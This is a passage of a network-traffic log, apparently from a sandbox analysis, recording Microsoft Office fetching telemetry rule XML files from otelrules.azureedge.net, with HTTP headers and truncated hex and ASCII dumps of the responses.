2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 31868579-401e-008c-0af2-1686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48xdq5dkwwugdpzr000000003u0000000002cwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:49 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:49 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: fbb49b00-e01e-00aa-4806-17ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112649Z-1657d5bbd48vhs7r2p1ky7cs5w00000003mg00000000fftb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:49 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:49 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:49 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08bf7a15-f01e-0020-7706-17956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112649Z-1657d5bbd482krtfgrg72dfbtn0000000370000000004df0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:49 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:49 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:49 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:49 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 7d21ea5d-701e-0098-0502-17395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112649Z-1657d5bbd48jwrqbupe3ktsx9w00000003m000000000apma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:49 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:49 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:49 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b6fa471e-401e-0067-43e5-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112649Z-1657d5bbd48q6t9vvmrkd293mg000000038g00000000ffud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:49 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:49 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 6dc6331d-801e-0047-0866-177265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112649Z-1657d5bbd48xlwdx82gahegw4000000003hg00000000d3td x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49815	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a18d9b1d-601e-0002-1f03-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48jwrqbupe3ktsx9w00000003r0000000000qkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:50 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49817	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6d2b2f65-e01e-0099-735a-17da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48q6t9vvmrkd293mg00000003cg000000008b4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: d4fd285a-d01e-005a-06ed-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48cpbzgkvtewk0wu000000003h0000000006fv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:50 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: c9f5ea47-201e-0071-33fe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48brl8we3nu8cxwgn00000003t0000000004dpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 76dbcc6a-501e-0035-36ed-16c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48xlwdx82gahegw4000000003g000000000h617 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:50 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:50 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 838d785c-001e-0014-24fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112650Z-1657d5bbd48dfrdj7px744zp8s0000000350000000009gxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
